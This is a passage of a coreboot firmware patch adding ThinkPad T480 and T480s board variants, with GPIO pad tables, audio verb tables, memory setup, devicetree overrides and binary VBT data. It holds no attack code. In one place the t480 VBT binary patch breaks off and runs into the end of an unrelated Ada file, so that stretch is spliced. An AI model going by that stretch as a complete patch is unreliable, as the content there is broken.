pnp_read_le32(port, LPCIF_BAR_EMBED_FLASH)); ++ printk(BIOS_DEBUG, "BAR GP_SPI = %08x\n", pnp_read_le32(port, LPCIF_BAR_GP_SPI)); ++ printk(BIOS_DEBUG, "BAR EMI = %08x\n", pnp_read_le32(port, LPCIF_BAR_EMI)); ++ printk(BIOS_DEBUG, "BAR PMH7 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PMH7)); ++ printk(BIOS_DEBUG, "BAR PORT80_DBG0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PORT80_DBG0)); ++ printk(BIOS_DEBUG, "BAR PORT80_DBG1 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PORT80_DBG1)); ++ printk(BIOS_DEBUG, "BAR RTC = %08x\n", pnp_read_le32(port, LPCIF_BAR_RTC)); ++ ++ microchip_pnp_exit_conf_state(port); ++} ++ ++static void mainboard_enable(struct device *dev) ++{ ++ if (CONFIG(VGA_ROM_RUN)) ++ install_intel_vga_int15_handler(GMA_INT15_ACTIVE_LFP_EDP, ++ GMA_INT15_PANEL_FIT_DEFAULT, ++ GMA_INT15_BOOT_DISPLAY_DEFAULT, 0); ++} ++ ++static void mainboard_init(void *chip_info) ++{ ++ dump_ec_cfg(EC_CFG_PORT); ++} ++ ++struct chip_operations mainboard_ops = { ++ .enable_dev = mainboard_enable, ++ .init = mainboard_init, ++}; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..4db4202961d0be67b75f52b28f2111d5655595c3 +GIT binary patch +literal 4106 +zcmeHJU2GIp6h5=FKeKmc=rAo()>4l^U|XP_ZDGYy!|YE>mu}hZ4|PdQy1bV0gipVB&+pHzmFpc`=IXxii}qiqH*)7}PU+ +z?woV)x!<09?wNbfhQa6n_IK}3M!Gw&OgS)sY2Q$LJ4F+z{-JneATkt9refXr6+8sr +zR{e1eASVcGl#mf_O&p%I^1;3af=xDeN0ZnydT=;zHOH-q=O;(UFda)^LXW8| +z-Vsanq!Y==Kq9plQ+*gu^hf&pJ9?tY{h01cbtR&SfsVM!_*!D4W5>papLuo?gRur| +zF$`lX;f2t48Dpd4V@(*z=dq95OkkfiVU53N<(gE+=U)KHEdU4}@R=aMjTTTOcb8-a +zC9IXSxZB*|#u~SlHnpsY25L#Sxy6ljl16gI)H0f>for?qaszCX;ESpG=pqROFWR~Z +zTqQzcH(berra`9K(R~0OJ_eeA=> +z&R-)LYP^U3@%6h}+0)7m-mEOhOM92l32>zpvu-&@ZkPf<>~Bsv&Oy1O(`pbLUf3vt*0HIRk0U3EzI +zIeSaIE9*jps%6qP7$EQo8=K#f^K_mFpy5prkNNSOU;oI@KK0}Ge*G6eyWz+6OyADf +zE`}Db#-81u-uS=OJB*=`v}WPMs@ugdtLtbZo6OEUf}>!QL` +z1zQ!pLt!Zek0|;p3VTDrj}`q(g?+8yuZk|KY?X>TRlP@LPpbH`s-ITbSygS+Jq6cQ +zp|Em=T_#B53Y|R}mtw!K3mUyWRhytxx_wi^(}HurDkx@L%OlKIA%rq@7%bE{p{Wl~ +zJJ%lV6&>fxBjnbA8G(&P?a8o%P#c~Wo$7|%1UE-$r;6jwt1uejOfMLwF-BDgC-Q+N +za!Hx;1S&$9!rlNCTsI*IMZ0#Y5aEO7sjIz#jb`S|q7OpRYx`h&=PK}_YnN#poNF=7 +z3yTO|pc0N&G3cozl21Q6c)l0vjm~0uFL)%2_T5RYR1$~dO~u)4px!jFycZNnchPVA +z!0+Vc_afL{m>rv2PY8{Cma`W{yG~JNJu?;L!#fSLmwRW{8R@gD7Z5~{xvZGpN)U`j +z^I~=;XVmtVzgSv@Na@HC?lC8A1l2+CU Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c +new file mode 100644 +index 0000000000..f7c29e1f39 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c +@@ -0,0 +1,203 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "../../gpio.h" ++ ++/* FIXME: There are multiple GPIOs here that should be locked to prevent "TPM GPIO fail" style ++ * attacks. Unfortunately SKL/KBL GPIO locking *does not* work currently. */ ++ ++static const struct pad_config gpio_table[] = { ++ ++ /* ------- GPIO Community 0 ------- */ ++ ++ /* ------- GPIO Group GPP_A ------- */ ++ PAD_CFG_NF(GPP_A0, NONE, DEEP, NF1), /* -KBRC */ ++ PAD_CFG_NF(GPP_A1, NATIVE, DEEP, NF1), /* LPC_AD0 */ ++ PAD_CFG_NF(GPP_A2, NATIVE, DEEP, NF1), /* LPC_AD1 */ ++ PAD_CFG_NF(GPP_A3, NATIVE, DEEP, NF1), /* LPC_AD2 */ ++ PAD_CFG_NF(GPP_A4, NATIVE, DEEP, NF1), /* LPC_AD3 */ ++ PAD_CFG_NF(GPP_A5, NONE, DEEP, NF1), /* -LPC_FRAME */ ++ PAD_CFG_NF(GPP_A6, NONE, DEEP, NF1), /* IRQSER */ ++ PAD_CFG_NF(GPP_A7, NONE, DEEP, NF1), /* -TPM_IRQ */ ++ PAD_CFG_NF(GPP_A8, NONE, DEEP, NF1), /* -CLKRUN */ ++ PAD_CFG_NF(GPP_A9, NATIVE, DEEP, NF1), /* LPCCLK_EC_24M */ ++ PAD_CFG_NF(GPP_A10, NATIVE, DEEP, NF1), /* LPCCLK_DEBUG_24M */ ++ PAD_NC(GPP_A11, NONE), ++ PAD_NC(GPP_A12, NONE), ++ PAD_CFG_NF(GPP_A13, NATIVE, DEEP, NF1), /* -SUSWARN */ ++ PAD_CFG_NF(GPP_A14, NATIVE, DEEP, NF1), /* -SUS_STAT */ ++ PAD_CFG_NF(GPP_A15, NATIVE, DEEP, NF1), /* -SUSWARN */ ++ PAD_NC(GPP_A16, NONE), ++ PAD_NC(GPP_A17, NONE), ++ PAD_NC(GPP_A18, NONE), ++ PAD_NC(GPP_A19, NONE), ++ PAD_NC(GPP_A20, NONE), ++ PAD_NC(GPP_A21, NONE), ++ PAD_NC(GPP_A22, NONE), ++ PAD_NC(GPP_A23, NONE), ++ ++ /* ------- GPIO Group GPP_B ------- */ ++ PAD_NC(GPP_B0, NONE), ++ PAD_NC(GPP_B1, NONE), ++ PAD_NC(GPP_B2, NONE), ++ PAD_NC(GPP_B3, NONE), ++ PAD_CFG_GPI_SCI(GPP_B4, NONE, DEEP, EDGE_SINGLE, INVERT), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_NF(GPP_B5, NONE, DEEP, NF1), /* -CLKREQ_PCIE0 */ ++ PAD_CFG_NF(GPP_B6, NONE, DEEP, NF1), /* -CLKREQ_PCIE4 */ ++ PAD_CFG_NF(GPP_B7, NONE, DEEP, NF1), /* -CLKREQ_PCIE5 */ ++ PAD_CFG_NF(GPP_B8, NONE, DEEP, NF1), /* -CLKREQ_PCIE6 */ ++ PAD_CFG_NF(GPP_B9, NONE, DEEP, NF1), /* -CLKREQ_PCIE8 */ ++ PAD_CFG_NF(GPP_B10, NONE, DEEP, NF1), /* -CLKREQ_PCIE10 */ ++ PAD_NC(GPP_B11, NONE), ++ PAD_CFG_NF(GPP_B12, NONE, DEEP, NF1), /* -PCH_SLP_S0 */ ++ PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1), /* -PLTRST */ ++ PAD_CFG_NF(GPP_B14, NATIVE, DEEP, NF1), /* PCH_SPKR */ ++ PAD_CFG_GPO(GPP_B15, 1, DEEP), /* NFC_DLREQ */ ++ PAD_NC(GPP_B16, NONE), ++ PAD_NC(GPP_B17, NONE), ++ PAD_NC(GPP_B18, NONE), ++ PAD_NC(GPP_B19, NONE), ++ PAD_NC(GPP_B20, NONE), ++ PAD_NC(GPP_B21, NONE), ++ PAD_NC(GPP_B22, NONE), ++ PAD_NC(GPP_B23, NONE), ++ ++ /* ------- GPIO Community 1 ------- */ ++ ++ /* ------- GPIO Group GPP_C ------- */ ++ PAD_CFG_NF(GPP_C0, NONE, DEEP, NF1), /* SMB_CLK */ ++ PAD_CFG_NF(GPP_C1, NONE, DEEP, NF1), /* SMB_DATA */ ++ PAD_NC(GPP_C2, NONE), ++ PAD_CFG_NF(GPP_C3, NONE, DEEP, NF1), /* SML0_CLK */ ++ PAD_CFG_NF(GPP_C4, NONE, DEEP, NF1), /* SML0_DATA */ ++ PAD_NC(GPP_C5, NONE), ++ PAD_CFG_NF(GPP_C6, NONE, DEEP, NF1), /* EC_SCL2 */ ++ PAD_CFG_NF(GPP_C7, NONE, DEEP, NF1), /* EC_SDA2 */ ++ PAD_NC(GPP_C8, NONE), ++ PAD_NC(GPP_C9, NONE), ++ PAD_NC(GPP_C10, NONE), ++ PAD_NC(GPP_C11, NONE), ++ PAD_NC(GPP_C12, NONE), ++ PAD_NC(GPP_C13, NONE), ++ PAD_NC(GPP_C14, NONE), ++ PAD_NC(GPP_C15, NONE), ++ PAD_CFG_NF(GPP_C16, NONE, DEEP, NF1), /* I2C0_DATA */ ++ PAD_CFG_NF(GPP_C17, NONE, DEEP, NF1), /* I2C0_CLK */ ++ PAD_NC(GPP_C18, NONE), ++ PAD_NC(GPP_C19, NONE), ++ PAD_CFG_GPO(GPP_C20, 0, DEEP), /* EPRIVACY_ON */ ++ PAD_CFG_GPO(GPP_C21, 0, DEEP), /* TBT_FORCE_PWR */ ++ PAD_CFG_GPI_SCI(GPP_C22, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_SCI */ ++ PAD_CFG_GPI_SCI(GPP_C23, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_WAKE */ ++ ++ /* ------- GPIO Group GPP_D ------- */ ++ PAD_NC(GPP_D0, NONE), ++ PAD_NC(GPP_D1, NONE), ++ PAD_NC(GPP_D2, NONE), ++ PAD_NC(GPP_D3, NONE), ++ PAD_NC(GPP_D4, NONE), ++ PAD_NC(GPP_D5, NONE), ++ PAD_NC(GPP_D6, NONE), ++ PAD_NC(GPP_D7, NONE), ++ PAD_NC(GPP_D8, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D9, UP_20K, DEEP, OFF, ACPI), /* -DISCRETE_PRESENCE */ ++ PAD_NC(GPP_D10, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D11, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_D12, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID1 */ ++ PAD_NC(GPP_D13, NONE), ++ PAD_NC(GPP_D14, NONE), ++ PAD_NC(GPP_D15, NONE), ++ PAD_NC(GPP_D16, NONE), ++ PAD_CFG_GPO(GPP_D17, 0, DEEP), /* DDI_PRIORITY1 */ ++ PAD_NC(GPP_D18, NONE), ++ PAD_NC(GPP_D19, NONE), ++ PAD_NC(GPP_D20, NONE), ++ PAD_NC(GPP_D21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D22, UP_20K, DEEP, OFF, ACPI), /* -NFC_DTCT */ ++ PAD_NC(GPP_D23, NONE), ++ ++ /* ------- GPIO Group GPP_E ------- */ ++ PAD_NC(GPP_E0, NONE), ++ PAD_CFG_NF(GPP_E1, NONE, DEEP, NF1), /* -WWAN_SATA_DTCT (always HIGH) */ ++ PAD_CFG_NF(GPP_E2, NONE, DEEP, NF1), /* -PE_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_E3, NONE, DEEP, EDGE_SINGLE, ACPI), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_GPO(GPP_E4, 1, DEEP), /* NFC_ON */ ++ PAD_NC(GPP_E5, NONE), ++ PAD_CFG_NF(GPP_E6, NONE, RSMRST, NF1), /* SATA2_DEVSLP */ ++ PAD_NC(GPP_E7, NONE), ++ PAD_NC(GPP_E8, NONE), ++ PAD_CFG_NF(GPP_E9, NONE, DEEP, NF1), /* -USB_PORT0_OC0 (AON port) */ ++ PAD_CFG_NF(GPP_E10, NONE, DEEP, NF1), /* -USB_PORT1_OC1 (regular port) */ ++ PAD_NC(GPP_E11, NONE), ++ PAD_CFG_GPI_APIC_HIGH(GPP_E12, NONE, DEEP), /* NFC_INT */ ++ PAD_CFG_NF(GPP_E13, NONE, DEEP, NF1), /* DDIP1_HPD */ ++ PAD_CFG_NF(GPP_E14, NONE, DEEP, NF1), /* DDIP2_HPD */ ++ PAD_NC(GPP_E15, NONE), ++ PAD_NC(GPP_E16, NONE), ++ PAD_CFG_NF(GPP_E17, NONE, DEEP, NF1), /* EDP_HPD */ ++ PAD_NC(GPP_E18, NONE), ++ PAD_NC(GPP_E19, NONE), ++ PAD_CFG_NF(GPP_E20, NONE, DEEP, NF1), /* DDIP2_CTRLCLK */ ++ PAD_CFG_NF(GPP_E21, NONE, DEEP, NF1), /* DDIP2_CTRLDATA */ ++ PAD_CFG_TERM_GPO(GPP_E22, 0, UP_20K, RSMRST), /* -GPU_RST */ ++ PAD_CFG_TERM_GPO(GPP_E23, 0, UP_20K, RSMRST), /* 1R8VIDEO_AON_ON */ ++ ++ /* ------- GPIO Community 2 ------- */ ++ ++ /* -------- GPIO Group GPD -------- */ ++ PAD_CFG_NF(GPD0, NONE, PWROK, NF1), /* -BATLOW */ ++ PAD_CFG_NF(GPD1, NATIVE, PWROK, NF1), /* AC_PRESENT */ ++ PAD_CFG_NF(GPD2, NATIVE, PWROK, NF1), /* -LANWAKE */ ++ PAD_CFG_NF(GPD3, UP_20K, PWROK, NF1), /* -PWRSW_EC */ ++ PAD_CFG_NF(GPD4, NONE, PWROK, NF1), /* -PCH_SLP_S3 */ ++ PAD_CFG_NF(GPD5, NONE, PWROK, NF1), /* -PCH_SLP_S4 */ ++ PAD_CFG_NF(GPD6, NONE, PWROK, NF1), /* -PCH_SLP_M */ ++ PAD_NC(GPD7, NONE), ++ PAD_CFG_NF(GPD8, NONE, PWROK, NF1), /* SUSCLK_32K */ ++ PAD_CFG_NF(GPD9, NONE, PWROK, NF1), /* -PCH_SLP_WLAN */ ++ PAD_CFG_NF(GPD10, NONE, PWROK, NF1), /* -PCH_SLP_S5 */ ++ PAD_CFG_NF(GPD11, NONE, PWROK, NF1), /* LANPHYPC */ ++ ++ /* ------- GPIO Community 3 ------- */ ++ ++ /* ------- GPIO Group GPP_F ------- */ ++ PAD_NC(GPP_F0, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F1, NONE, DEEP, OFF, ACPI), /* GC6_FB_EN */ ++ PAD_CFG_GPO(GPP_F2, 1, DEEP), /* -GPU_EVENT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F3, NONE, DEEP, OFF, ACPI), /* DGFX_PWRGD */ ++ PAD_CFG_GPO(GPP_F4, 1, DEEP), /* -WWAN_RESET */ ++ PAD_NC(GPP_F5, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F6, UP_20K, DEEP, OFF, ACPI), /* -MIC_HW_EN (R961 to GND) */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F7, UP_20K, DEEP, OFF, ACPI), /* -INT_MIC_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F8, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F9, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F10, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F11, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F12, UP_20K, DEEP, OFF, ACPI), /* PLANARID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F13, UP_20K, DEEP, OFF, ACPI), /* PLANARID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F14, UP_20K, DEEP, OFF, ACPI), /* PLANARID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F15, UP_20K, DEEP, OFF, ACPI), /* PLANARID3 */ ++ PAD_NC(GPP_F16, NONE), ++ PAD_NC(GPP_F17, NONE), ++ PAD_NC(GPP_F18, NONE), ++ PAD_NC(GPP_F19, NONE), ++ PAD_NC(GPP_F20, NONE), ++ PAD_NC(GPP_F21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F22, UP_20K, DEEP, OFF, ACPI), /* -INTRUDER_PCH */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F23, UP_20K, DEEP, OFF, ACPI), /* -SC_DTCT */ ++ ++ /* ------- GPIO Group GPP_G ------- */ ++ PAD_NC(GPP_G0, NONE), ++ PAD_NC(GPP_G1, NONE), ++ PAD_NC(GPP_G2, NONE), ++ PAD_NC(GPP_G3, NONE), ++ PAD_CFG_GPO(GPP_G4, 0, DEEP), /* TBT_RTD3_PWR_EN */ ++ PAD_CFG_GPO(GPP_G5, 0, DEEP), /* TBT_FORCE_USB_PWR */ ++ PAD_CFG_GPO(GPP_G6, 0, DEEP), /* -TBT_PERST */ ++ PAD_CFG_GPI_SCI(GPP_G7, NONE, DEEP, LEVEL, INVERT), /* -TBT_PCIE_WAKE */ ++}; ++ ++void variant_config_gpios(void) ++{ ++ gpio_configure_pads(gpio_table, ARRAY_SIZE(gpio_table)); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c +new file mode 100644 +index 0000000000..3a951ce0da +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c +@@ -0,0 +1,90 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ 0x10ec0257, // Vendor/Device ID: Realtek ALC257 ++ 0x17aa225d, // Subsystem ID ++ 11, ++ AZALIA_SUBVENDOR(0, 0x17aa225d), ++ ++ AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x13, 0x40000000), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x18, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1b, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1d, 0x40661b45), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x1e, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 15 ++ )), ++ ++ 0x8086280b, // Vendor/Device ID: Intel Kabylake HDMI ++ 0x80860101, // Subsystem ID ++ 4, ++ AZALIA_SUBVENDOR(2, 0x80860101), ++ ++ AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++}; ++ ++const u32 pc_beep_verbs[] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c +new file mode 100644 +index 0000000000..5252a402f9 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c +@@ -0,0 +1,20 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++ ++void mainboard_memory_init_params(FSPM_UPD *mupd) ++{ ++ FSP_M_CONFIG *mem_cfg = &mupd->FspmConfig; ++ mem_cfg->DqPinsInterleaved = true; /* DDR_DQ in interleave mode */ ++ mem_cfg->CaVrefConfig = 2; /* VREF_CA to CH_A and VREF_DQ_B to CH_B */ ++ mem_cfg->MemorySpdDataLen = CONFIG_DIMM_SPD_SIZE; ++ ++ /* Get SPD for memory slots */ ++ struct spd_block blk = { .addr_map = { 0x50, 0x51, } }; ++ get_spd_smbus(&blk); ++ dump_spd_info(&blk); ++ ++ mem_cfg->MemorySpdPtr00 = (uintptr_t)blk.spd_array[0]; ++ mem_cfg->MemorySpdPtr10 = (uintptr_t)blk.spd_array[1]; ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb +new file mode 100644 +index 0000000000..bf66bd3a69 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb +@@ -0,0 +1,103 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ device domain 0 on ++ device ref south_xhci on ++ register "usb2_ports" = "{ ++ [0] = USB2_PORT_MID(OC1), // USB-A ++ [1] = USB2_PORT_MID(OC0), // USB-A (always on) ++ [2] = USB2_PORT_MID(OC_SKIP), // JSC-1 (smartcard slot) ++ [3] = USB2_PORT_MID(OC_SKIP), // USB-C (charging port) ++ [4] = USB2_PORT_MID(OC_SKIP), // JCAM1 (IR camera) ++ [5] = USB2_PORT_MID(OC_SKIP), // JWWAN1 (M.2 WWAN USB) ++ [6] = USB2_PORT_MID(OC_SKIP), // JWLAN1 (M.2 WLAN USB) ++ [7] = USB2_PORT_MID(OC_SKIP), // JCAM1 (webcam) ++ [8] = USB2_PORT_MID(OC_SKIP), // JFPR1 (fingerprint reader) ++ [9] = USB2_PORT_MID(OC_SKIP), // JLCD1 (touch panel) ++ }" ++ register "usb3_ports" = "{ ++ [0] = USB3_PORT_DEFAULT(OC1), // USB-A ++ [1] = USB3_PORT_DEFAULT(OC0), // USB-A (always on) ++ [2] = USB3_PORT_DEFAULT(OC_SKIP), // RTS5344S (SD card reader) ++ [3] = USB3_PORT_DEFAULT(OC_SKIP), // USB-C (charging port) ++ }" ++ end ++ ++ device ref sata on ++ # SATA_2 - JHDD1 SATA SSD ++ register "SataPortsEnable[2]" = "1" ++ register "SataPortsDevSlp[2]" = "1" ++ end ++ ++ # PCIe controller 1 - 1x4 ++ # PCIE 1-4 - RP1 - dGPU - CLKOUT0 - CLKREQ0 ++ # ++ # PCIe controller 2 - 2x1+1x2 (lane reversal) ++ # PCIE 5 - GBE - GBE - CLKOUT1 - CLKREQ1 (clobbers RP8) ++ # PCIE 6 - RP7 - WLAN - CLKOUT2 - CLKREQ2 ++ # PCIE 7-8 - RP5 - WWAN - CLKOUT3 - CLKREQ3 ++ # ++ # PCIe controller 3 - 2x2 ++ # PCIE 9-10 - RP9 - TB3 - CLKOUT4 - CLKREQ4 ++ # PCIE 11-12 - RP11 - SSD - CLKOUT5 - CLKREQ5 ++ ++ # dGPU - x4 ++ device ref pcie_rp1 on ++ register "PcieRpEnable[0]" = "1" ++ register "PcieRpClkReqSupport[0]" = "1" ++ register "PcieRpClkReqNumber[0]" = "0" ++ register "PcieRpClkSrcNumber[0]" = "0" ++ register "PcieRpAdvancedErrorReporting[0]" = "1" ++ register "PcieRpLtrEnable[0]" = "1" ++ end ++ ++ # Ethernet (clobbers RP8) ++ device ref gbe on ++ register "LanClkReqSupported" = "1" ++ register "LanClkReqNumber" = "1" ++ register "EnableLanLtr" = "1" ++ register "EnableLanK1Off" = "1" ++ end ++ ++ # M.2 WLAN - x1 ++ device ref pcie_rp7 on ++ register "PcieRpEnable[6]" = "1" ++ register "PcieRpClkReqSupport[6]" = "1" ++ register "PcieRpClkReqNumber[6]" = "2" ++ register "PcieRpClkSrcNumber[6]" = "2" ++ register "PcieRpAdvancedErrorReporting[6]" = "1" ++ register "PcieRpLtrEnable[6]" = "1" ++ end ++ ++ # M.2 WWAN - x2 ++ device ref pcie_rp5 on ++ register "PcieRpEnable[4]" = "1" ++ register "PcieRpClkReqSupport[4]" = "1" ++ register "PcieRpClkReqNumber[4]" = "3" ++ register "PcieRpClkSrcNumber[4]" = "3" ++ register "PcieRpAdvancedErrorReporting[4]" = "1" ++ register "PcieRpLtrEnable[4]" = "1" ++ end ++ ++ # TB3 (Alpine Ridge LP) - x2 ++ device ref pcie_rp9 on ++ register "PcieRpEnable[8]" = "1" ++ register "PcieRpClkReqSupport[8]" = "1" ++ register "PcieRpClkReqNumber[8]" = "4" ++ register "PcieRpClkSrcNumber[8]" = "4" ++ register "PcieRpAdvancedErrorReporting[8]" = "1" ++ register "PcieRpLtrEnable[8]" = "1" ++ register "PcieRpHotPlug[8]" = "1" ++ end ++ ++ # M.2 2280 caddy - x2 ++ device ref pcie_rp11 on ++ register "PcieRpEnable[10]" = "1" ++ register "PcieRpClkReqSupport[10]" = "1" ++ register "PcieRpClkReqNumber[10]" = "5" ++ register "PcieRpClkSrcNumber[10]" = "5" ++ register "PcieRpAdvancedErrorReporting[10]" = "1" ++ register "PcieRpLtrEnable[10]" = "1" ++ end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..47732e37d5b2bad4e674fd10eafa605d26f97840 +GIT binary patch +literal 4106 +zcmeHJUu+a*5TCu>yW9JAmoD2P9tqx`iFWXCLD09RaS&4j$?kY0KGYdgn6;MZ*!anbk!PNr!a%eU +zTXkLEL3ly5L&oUX#CS7?b2%Kad?s-#@;mhg8>>>#S&)d2I +zmP&-g0$k02szSQj(Y*j}YYtQnDH0;2ui{mPhI!flfFgv9nqI4Wr~5_?s`k0kALiCvcP +zCrRUFrpVYPYn?Jn%6MGXUXj_GGJYa!U&-tn8Gn&ANnz_0+@olH3VTw)mlf@-!p8{!e#p0ct5}M(h16D>p?OGjSz6v3juERjS +z#z{?mXvVqrXs_rvUmYR40gNzg(QD6y9E94?4DWO|6eb83LI-smcVC6x1n2reH}rAp +zLM);f=tWDCr``UF5T>!;PYu^H1g>EBP8A}2*fM>s-@nC3pDV|}6+CtfhG(II7`pcw +z`jLfJ!?;*R@Bp=Nw2EPOC7FEs(cugIP_K6tN_$~tvS8nx6iOv|IMrO3&-m*N9ZP#b +znG^~>I|l1cUVSeD9r^k3h0TP}WWD9=MZxY<Z3B2yU!k71#YRpThOJtVheMDA50rV#s@U +z+nKbA{O(olYR}icuzQD*-cjBQ9;%!eMDVP>7mWsF@=%>o)wSgq=n%DHNOYwRr4Ao6 +zbNdgEn*RdDS>Rud+fIY0N8JkP3q6;>8o%R(CE2n3?Xg%qP+U%~6|{XFyxv7Y#;J2Z +XK$lk*wsY^m4}9|iz?mg_AjCfat$CyH + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads +new file mode 100644 +index 0000000000..fcfbd75a92 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads +@@ -0,0 +1,19 @@ ++-- SPDX-License-Identifier: GPL-2.0-or-later ++ ++with HW.GFX.GMA; ++with HW.GFX.GMA.Display_Probing; ++ ++use HW.GFX.GMA; ++use HW.GFX.GMA.Display_Probing; ++ ++private package GMA.Mainboard is ++ ++ ports : constant Port_List := ++ (eDP, ++ DP1, ++ DP2, ++ HDMI1, ++ HDMI2, ++ others => Disabled); ++ ++end 